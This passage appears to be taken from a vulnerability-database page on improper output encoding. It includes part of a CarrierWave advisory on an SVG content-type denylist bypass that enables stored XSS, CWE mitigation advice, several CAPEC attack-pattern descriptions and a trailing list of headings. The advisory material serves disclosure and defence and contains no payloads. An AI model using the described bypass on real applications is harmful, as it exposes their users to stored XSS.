\"blocked\", \"message\": \"...\" }\n```\n\n\nActual response:\n```\njson{ \"result\": \"VULNERABLE\", \"message\": \"SVG bypassed denylist\", \"path\": \"...\" }\n```\n### Impact\nAny application that uses content_type_denylist to block image/svg+xml \u2014 the most common use case, specifically to prevent stored XSS \u2014 is silently unprotected. An attacker can upload an SVG file containing arbitrary",
  "id": "GHSA-7g26-2qgj-chfg",
  "modified": "2026-07-08T17:39:32Z",
  "published": "2026-05-27T00:03:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-7g26-2qgj-chfg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44587"
    },
    {
      "type": "WEB",
      "url": "https://github.com/carrierwaveuploader/carrierwave/commit/21221cc6e260633f7da78c6133a88666a5529d27"
    },
    {
      "type": "WEB",
      "url": "https://github.com/carrierwaveuploader/carrierwave/commit/4c4a005775a436c5165df014dc9b1874c227d86c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/carrierwaveuploader/carrierwave"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/carrierwave/CVE-2026-44587.yml"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44587"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters"
}

Mitigation MIT-4.3

Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.

Mitigation MIT-27

Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.

Mitigation

Architecture and Design Implementation

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

Mitigation

Architecture and Design

In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.

Mitigation

Architecture and Design

Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).

Mitigation

Requirements

Fully specify which encodings are required by components that will be communicating with each other.

Mitigation

Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

CAPEC-104: Cross Zone Scripting

An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.

CAPEC-73: User-Controlled Filename

An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.

CAPEC-81: Web Server Logs Tampering

Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.

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CWE-116

Improper Encoding or Escaping of Output

API deploy code generator embeds unescaped YAML fields into Python source

Summary

Technical Details

PoV

PoC

Impact

Suggested Fix

Affected Package/Versions

Advisory History

References

Description

Escalation — from denial-of-indexing to arbitrary ES document CRUD

Deployment amplifier (default ES config)

POC

Escalation variants — same delivery, only the Name changes

Impact

Recommendation

Summary

Details

PoC

Impact

Mitigation MIT-4.3

Mitigation MIT-27

Mitigation

Mitigation

Mitigation

Mitigation

Mitigation

CAPEC-104: Cross Zone Scripting

CAPEC-73: User-Controlled Filename

CAPEC-81: Web Server Logs Tampering

CAPEC-85: AJAX Footprinting

Escalation variants — same delivery, only the `Name` changes